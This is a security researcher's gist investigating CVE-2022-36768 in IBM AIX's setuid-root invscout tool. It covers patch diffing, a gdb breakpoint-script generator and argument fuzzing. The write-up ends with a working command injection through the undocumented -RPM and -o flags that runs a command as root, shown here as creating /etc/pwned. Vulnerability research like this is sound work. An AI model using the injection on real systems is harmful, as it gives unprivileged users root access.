Skip to content

Instantly share code, notes, and snippets.

@timb-machine
Last active January 4, 2024 22:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save timb-machine/281058dbf2e8a562ae96adfd1219afb6 to your computer and use it in GitHub Desktop.
Save timb-machine/281058dbf2e8a562ae96adfd1219afb6 to your computer and use it in GitHub Desktop.
CVE-2022-36768 for shits and giggles...
We start by unpacking the patch. On this occasion it's shipped as an RTE file (an AIX specific backup format), so we need to unpack it on our AIX VM like so:
$ restore -T -f ../invscout.rte
/lpp_name
/usr
/usr/lpp
/usr/lpp/invscout.rte
/usr/lpp/invscout.rte/liblpp.a
/usr/lpp/invscout.rte/inst_root
/usr/lpp/invscout.rte/inst_root/liblpp.a
/usr/lpp/invscout.rte/inst_root/var/adm/invscout
/usr/lpp/invscout.rte/inst_root/var/adm/invscout/lib
/usr/lpp/invscout.rte/inst_root/var/adm/invscout/microcode
/usr/lpp/invscout.rte/inst_root/var/adm/invscout/invs.mic.con.inp
/usr/lpp/invscout.rte/inst_root/var/adm/invscout/invs.vpd.con.inp
/usr/lpp/invscout.rte/inst_root/var/adm/invscout/invsd.puk
/usr/sbin/invscout
/usr/sbin/invscoutd
/opt/IBMinvscout
/opt/IBMinvscout/bin
/opt/IBMinvscout/sbin
/opt/IBMinvscout/bin/invscoutClient_VPD_Survey
/opt/IBMinvscout/bin/invscoutClient_PartitionID
/opt/IBMinvscout/sbin/invscout_lsvpd
/usr/lpp/invscout.rte/inst_root/var/adm/invscout/cat.mic
/usr/lpp/invscout.rte/inst_root/var/adm/invscout/license.mic
This is done in preference to using installp as I don't want to overwrite the currently vulnerable versions.
Doing so, we see the following potential victims:
$ find . -perm -u+s -ls
4115 3 -r-sr-xr-x 1 root system 2428 May 13 2004 ./opt/IBMinvscout/bin/invscoutClient_PartitionID
4114 11504 -r-sr-xr-x 1 root system 11779340 Jun 30 2010 ./opt/IBMinvscout/bin/invscoutClient_VPD_Survey
4108 516 -r-sr-xr-x 1 root system 528363 Jul 28 15:56 ./usr/sbin/invscout
4109 576 -r-sr-x--- 1 root system 589086 Jul 28 15:56 ./usr/sbin/invscoutd
So how have the binaries changed?
$ for x in old/*
do
strings $x >$x.strings
done
$ for x in new/*
do
strings $x >$x.strings
done
Gives us the following:
$ ls -l old/*.strings new/*.strings
-rw-r--r-- 1 root root 132631 Dec 17 17:31 old/invscout.strings
-rw-r--r-- 1 root root 427 Dec 17 17:31 old/invscoutClient_PartitionID.strings
-rw-r--r-- 1 root root 8615059 Dec 17 17:31 old/invscoutClient_VPD_Survey.strings
-rw-r--r-- 1 root root 146880 Dec 17 17:31 old/invscoutd.strings
-rw-r--r-- 1 root root 132847 Dec 17 17:31 new/invscout.strings
-rw-r--r-- 1 root root 427 Dec 17 17:31 new/invscoutClient_PartitionID.strings
-rw-r--r-- 1 root root 8615059 Dec 17 17:31 new/invscoutClient_VPD_Survey.strings
-rw-r--r-- 1 root root 147120 Dec 17 17:31 new/invscoutd.strings
$ md5sum old/*.strings new/*.strings
801ebcf03ca7287fa0706b9f97a7bdc7 old/invscout.strings
2fe24e8ba87077d83ef19001d34e0163 old/invscoutClient_PartitionID.strings
5982247e3b6995b2281952a450e6e2a8 old/invscoutClient_VPD_Survey.strings
3bb0efec67fbfad61113944acd13cd2b old/invscoutd.strings
63c951be573df0f1b7de0a14a65eea89 new/invscout.strings
2fe24e8ba87077d83ef19001d34e0163 new/invscoutClient_PartitionID.strings
5982247e3b6995b2281952a450e6e2a8 new/invscoutClient_VPD_Survey.strings
ae459221d53bdb577f1a89c2dd9161c8 new/invscoutd.strings
$ grep "/22 " old/*.strings new/*.strings
new/invscout.strings:@(#)75 1.32.1.34 src/bos/usr/sbin/invscout/main_build/Initialz.c, cmdinvscout, 52is220, 2230A_52is220 7/27/22 10:18:57
new/invscout.strings:@(#)78 1.20 src/bos/usr/sbin/invscout/main_build/MainSwch.c, cmdinvscout, 52is220, 2230A_52is220 7/27/22 10:22:20
new/invscout.strings:@(#)27 1.8 src/bos/usr/sbin/invscout/main_build/InstallFlash.c, cmdinvscout, 52is220, 2230A_52is220 7/27/22 10:19:48
new/invscoutd.strings:@(#)75 1.32.1.34 src/bos/usr/sbin/invscout/main_build/Initialz.c, cmdinvscout, 52is220, 2230A_52is220 7/27/22 10:18:57
new/invscoutd.strings:@(#)78 1.20 src/bos/usr/sbin/invscout/main_build/MainSwch.c, cmdinvscout, 52is220, 2230A_52is220 7/27/22 10:22:20
new/invscoutd.strings:@(#)27 1.8 src/bos/usr/sbin/invscout/main_build/InstallFlash.c, cmdinvscout, 52is220, 2230A_52is220 7/27/22 10:19:48
So we can be fairly sure we want to focus on invscout and invscoutd. Remember, the advisory is for the former (wonder what is lurking in the latter!?!! - reading the invscoutd man page: "By default, an accompanying cleartext password is required from the client for most operations. If the client's password does not match the system password for the authentication user ID invscout, the action exits with a return code. The authentication user ID cannot be changed." - could be a fun target if anyone used it :)).
Anyway, looking at the strings from invscout (on a Linux host, the AIX strings binary is a bit more limited), we see:
* References to SUID_PROFILE_CHECK
* Introduction of calls to secure_popen()
* Introduction of calls to secure_system()
At this point we can leverage grace.sh (https://github.com/timb-machine/local/blob/develop/scripts/mine/grace.sh) to build up a more comprehensive view of what is occurring when we call invscout, but we will need to tweak it to handle AIX's calling convention (https://www.ibm.com/docs/en/aix/7.2?topic=overview-register-usage-conventions). Essentially, function parameters in AIX land are passed in $r3-$r10, so we want to have grace extract them on each breakpoint that is hit.
Given the changes in invscout, we likely looking for a change that affects system() or popen() usage, we can reduce the .gdbinit to focus on just the most interesting functions such as:
* getenv()
* setenv()
* ...open()
* system()
* ...exec...()
* chmod()
* ...printf()
* strcpy()
* memcpy()
There's a couple of bugs in the public version of grace.sh above (I guess I should test changes) and I've tweaked the parsing of objdump a bit so we end up with the following:
#!/bin/sh
BINFILENAME="${1}"
COMMANDLINE="${2}"
tempfilename="grace.$$"
printf "set pagination off\n" >"${tempfilename}"
objdump -d "${BINFILENAME}" | grep ":$" | tr -d . | cut -f 2 -d "<" | cut -f 1 -d ">" | grep -v "^\\$" | sort | uniq | egrep "getenv|open|system|exec|chmod|setenv|unlink|printf|strcpy|memcpy" | while read line
do
printf "break %s\n" "${line}" >>"${tempfilename}"
printf "commands\n" >>"${tempfilename}"
printf "info registers r3 r4 r5 r6 r7 r8 r9 r10\n" >>"${tempfilename}"
printf "x/1s \$r3\n" >>"${tempfilename}"
printf "x/1s \$r4\n" >>"${tempfilename}"
printf "x/1s \$r5\n" >>"${tempfilename}"
printf "x/1s \$r6\n" >>"${tempfilename}"
printf "x/1s \$r7\n" >>"${tempfilename}"
printf "x/1s \$r8\n" >>"${tempfilename}"
printf "x/1s \$r9\n" >>"${tempfilename}"
printf "x/1s \$r10\n" >>"${tempfilename}"
printf "continue\n" >>"${tempfilename}"
printf "end\n" >>"${tempfilename}"
done
printf "run %s\n" "${COMMANDLINE}" >>"${tempfilename}"
printf "quit\n" >>"${tempfilename}"
gdb -x "${tempfilename}" "${BINFILENAME}"
Note, you could also use dump -X any [-t|-T] ... on AIX and grep for 0x to extract the symbols, but there we go. It's always a bit hit and miss figuring out the best way to extract the symbols but whatever way we go, we want a reliable list of symbols from which grace.sh can generate an appropriate .gdbinit.
Running this, we get something like:
$ grace.sh /usr/sbin/invscout
GNU gdb (GDB) 7.12.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/sbin/invscout...done.
Breakpoint 1 at 0x1000a6d4
...
Breakpoint 22 at 0x100085f0
...
Breakpoint 11, 0xd0114ab4 in getenv () from /usr/lib/libc.a(shr.o)
r3 0xd0494f84 3494465412^M
r4 0x0 0^M
r5 0x2ff22ffc 804401148^M
r6 0xd032 53298^M
r7 0x3bd8 15320^M
r8 0x0 0^M
r9 0xd90a8000 3641344000^M
r10 0x0 0^M
0xd0494f84 <wstrtos+7908>: "AIX_TZCACHE"
Here we can see a breakpoint being triggered on getenv("AIX_TZCACHE"). Not very interesting but it shows off the concept.
From here, we can try fuzzing the various parameters to see if we can find where our input is being handed to secure_popen() or secure_system() like so:
$ ./grace.sh /usr/sbin/invscout "-fl tmb_fl"
$ ./grace.sh /usr/sbin/invscout "-fl ../../../../../../tmp/tmb_tmp"
$ ./grace.sh /usr/sbin/invscout "-catl tmb_catl"
$ ./grace.sh /usr/sbin/invscout "-catl ../../../../../../tmp/tmb_tmp"
$ ./grace.sh /usr/sbin/invscout "-m tmb_machine"
$ ./grace.sh /usr/sbin/invscout "-m ../../../../../../tmp/tmb_tmp"
$ ./grace.sh /usr/sbin/invscout "-s tmb_serial"
$ ./grace.sh /usr/sbin/invscout "-s ../../../../../../tmp/tmb_tmp"
$ ./grace.sh /usr/sbin/invscout "-m tmb_machine -s tmb_serial"
$ ./grace.sh /usr/sbin/invscout "-m ../../../../../../tmp/tmb_tmp -s ../../../../../../tmp/tmb_tmp"
Sadly this didn't work which calls for more direct targetting. To do this, let's take a closer look at what has changed:
$ objdump -D new/invscout | egrep ":$|secure_"
...
100007d8 <.TransIni>:
100007f8 <.bf>:
10000a88: 48 00 98 41 bl 1000a2c8 <.secure_system>
...
10008610 <._Trace_appendFile>:
10008660: 48 00 1c 69 bl 1000a2c8 <.secure_system>
..
1000907c <.RunShCmd>:
100092ec: 48 00 0f dd bl 1000a2c8 <.secure_system>
...
1000a010 <.xml_VPD_Survey>:
1000a028 <.bf>:
1000a160: 48 00 01 69 bl 1000a2c8 <.secure_system>
...
10011874 <.Cpopen>:
10011890: 4b ff 89 b9 bl 1000a248 <.secure_popen>
100118d8 <.Csystem>:
100118ec: 4b ff 89 dd bl 1000a2c8 <.secure_system>
...
1002bc10 <.FlashMicrocode>:
1002bc38 <.bf>:
1002bcf0: 4b fd e5 d9 bl 1000a2c8 <.secure_system>
...
1002bf5c <.RunRPM>:
1002bf80 <.bf>:
1002bfcc: 4b fd e2 fd bl 1000a2c8 <.secure_system>
At this point, it's a bit more clear where the potentially vulnerable code is.
Let's try running invscout with some of those breakpoints set:
$ gdb /usr/sbin/invscount
...
(gdb) b TransIni
Breakpoint 1 at 0x100007f8: file ../../../../../../../src/bos/usr/sbin/invscout/main_build/Initialz.c, line 1381.
(gdb) b _Trace_appendFile
Breakpoint 2 at 0x1000862c
(gdb) b RunShCmd
Breakpoint 3 at 0x1000909c
(gdb) b xml_VPD_Survey
Breakpoint 4 at 0x100157e4: file ../../../../../../../src/bos/usr/sbin/invscout/main_build/MainSwch.c, line 616.
(gdb) b FlashMicrocode
Breakpoint 5 at 0x1002bc9c: file ../../../../../../../src/bos/usr/sbin/invscout/main_build/InstallFlash.c, line 285.
(gdb) b RunRPM
Breakpoint 6 at 0x1002bfe4: file ../../../../../../../src/bos/usr/sbin/invscout/main_build/InstallFlash.c, line 161.
We can use grace.sh's .gdbinit generator to apply these and bulk to see if we get a match, which we do, but only on the outer functions:
Breakpoint 5, 0x1000909c in RunShCmd ()
Breakpoint 6, TransIni (GenrlPar=0x20009790 <_$STATIC_BSS>) at ../../../../../../../src/bos/usr/sbin/invscout/main_build/Initialz.c:1381
Breakpoint 7, 0x1000862c in _Trace_appendFile ()
Given that examining the strings from $r3 doesn't any thing that looks like a command string with user controlled input, it seems likely that we need to reach the inner functions under MainSwch.c and/or InstallFlash.c.
At this stage, I figured I'd have a look at how inscout was being used beyond the man pages and found this:
* http://gibsonnet.net/blog/cgaix/html/MDS%20reports.html
This steered me towards a public manifest (https://www3.software.ibm.com/ibmdl/pub/software/server/firmware/catalog.mic) and the following syntax:
REC="HDR" WEBPATH= "http://download.boulder.ibm.com/ibmdl/pub/software/server/firmware" FTPSRVR="-" FTPPATH="-" CDPATH="/microcode" AIXDEST="/tmp/fwupdate" LICFILE="flicense.mic" LICDATE="20021024" CATDATE="202212161502"
REC="DEV" README="146lpi.html" TM="DRVS18D" REBOOT="N" LDBLTLVL="31363930" CDDIR="/146lpi/" PKGNAME="8/35 GB 146LPi SCSI Disk Drive" IMPACT="New" LSMFORM="2." SEV="NEW" RUNDIAG="N" VFORM="A" DESC="18/35 GB 146LPi SCSI Disk Drive -PN 53P3241/53P3242" DEVTYPE="146lpi" PN="53P3241" ISMAN="Y" RPMFILE="146lpi-1690.rpm" RELDATE="01/05/2005 05:46:33 AM" LSMLTLVL="31363930" CONC="Y"
REC="DEV" RPMFILE="146lpi-1690.rpm" RELDATE="01/05/2005 05:46:33 AM" LSMLTLVL="31363930" CONC="Y" PN="53P3242" ISMAN="Y" VFORM="A" DESC="18/35 GB 146LPi SCSI Disk Drive -PN 53P3241/53P3242" DEVTYPE="146lpi" RUNDIAG="N" IMPACT="New" LSMFORM="2." SEV="NEW" LDBLTLVL="31363930" CDDIR="/146lpi/" PKGNAME="8/35 GB 146LPi SCSI Disk Drive" README="146lpi.html" TM="DDYS36M" REBOOT="N"
REC="DEV" IMPACT="New" LSMFORM="2." SEV="NEW" LDBLTLVL="53323942" CDDIR="/146z10i/" PKGNAME="9/18/35GB 146Z10i SCSI Disk Drive" README="146z10i.html" REBOOT="N" TM="DGVS09U" RPMFILE="146z10i-S29B.rpm" RELDATE="01/05/2005 05:44:12 AM" LSMLTLVL="53323942" CONC="N" PN="08K0264" ISMAN="Y" VFORM="A" DESC="9/18/35GB 146Z10i SCSI Disk Drive-PN 08K0294/08K0304/08K0264" DEVTYPE="146z10i" RUNDIAG="N"
At this point, the use of invscout's -UF flag becomes a bit more clear. We can use it to take the results of the catalogue, determine any missing patches or other updates, apply them and reboot the system as necessary. At this point, we probably have sufficient idea to figure out where the vulnerability lies...
-- Or so I thought... --
So this is where things take a weird turn. Having looked at the way the catalogue was constructed, I threw a breakpoint on strcmp() to see how the catalogue was being parse. Imagine my surprise when I saw the following:
...
Breakpoint 4, 0x1000e800 in strcmp ()
1: x/s $r3 0x2ff22d0f: "-RPM"
...
This looks surpringly like a flag, especially given the backtrace:
#0 0x1000e800 in strcmp ()
#1 0x10001ae8 in PrComLin (GenrlPar=0x200098d0 <_$STATIC_BSS>) at ../../../../../../../src/bos/usr/sbin/invscout/main_build/Initialz.c:323
#2 0x10000910 in TransIni (GenrlPar=0x200098d0 <_$STATIC_BSS>) at ../../../../../../../src/bos/usr/sbin/invscout/main_build/Initialz.c:1471
#3 0x1000be2c in InventoryScoutAction (GenrlPar=0x200098d0 <_$STATIC_BSS>) at ../../../../../../../src/bos/usr/sbin/invscout/main_build/MainSwch.c:1211
#4 0x100003c8 in main (argc=5, argv=0x2ff22c80) at ../../../../../../../src/bos/usr/sbin/invscout/main_build/StndAlon.c:171
So I figured I'd try passing it in:
$ invscout -RPM
Usage (for 'RPM' option):
invscout -RPM <RPM-package-name>[.rpm] -o <RPM options> [-m <MT_M> -s <serial> -p <parid>]
Yeh, I know, what could go wrong... How about:
$ invscout -RPM $HOME/info-6.7-1.aix5.1.ppc.rpm
Usage (for 'RPM' option):
invscout -RPM <RPM-package-name>[.rpm] -o
$ invscout -RPM $HOME/info-6.7-1.aix5.1.ppc.rpm -o "-i"
error: open of /var/adm/invscout/microcode//home/tmb/info-6.7-1.aix5.1.ppc.rpm failed: A file or directory in the path name does not exist.
Command '/usr/bin/rpm -i /var/adm/invscout/microcode//home/tmb/info-6.7-1.aix5.1.ppc.rpm' failed with return code 1.
$ invscout -RPM ../../../../../$HOME/info-6.7-1.aix5.1.ppc.rpm -o "-i"
package info-6.7-1.ppc is already installed
Command '/usr/bin/rpm -i /var/adm/invscout/microcode/../../../../..//home/tmb/info-6.7-1.aix5.1.ppc.rpm' failed with return code 1.
So it looks like this would work if we hadn't already installed the info package, but wait there's more:
$ invscout -RPM ../../../../../$HOME/info-6.7-1.aix5.1.ppc.rpm -o "-i ../../../../../$HOME/info-6.7-1.aix5.1.ppc.rpm; touch /etc/pwned; echo "
package info-6.7-1.ppc is already installed
/var/adm/invscout/microcode/../../../../..//home/tmb/info-6.7-1.aix5.1.ppc.rpm
$ ls -la /etc/pwned
-rw-rw-rw- 1 root staff 0 Dec 18 12:59 /etc/pwned
For shits and giggles, this isn't actually the "vulnerable" binary any more, I installed the patched version when I was trying to work out if this was the CVE-2022036768 PoC and I haven't reverted back.
Where does this leave us?
1) IBM tried to patch Christer's bug, I still want to figure what it was and what the supposed patch actually does. This will take me diverting my attention to RE'ing the related functions
2) There is still a vulnerability in RunRPM(), that can be triggered from an otherwise undocumented command line flag. The issue with this is that it allows RPMs to be installed as a non-priv'd user but it also allows command inject for direct command execution
3) There's a potential issue in the microcode patching triggered by -UF which may or may not relate to FlashMicrocode()
4) There's also a separate, potentially exploitable race condition where invscout writes to /tmp (neglected above as it's certainly a separate bug)
Oh, one more thing, "umask 0" is necessary to create the world-writable files.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment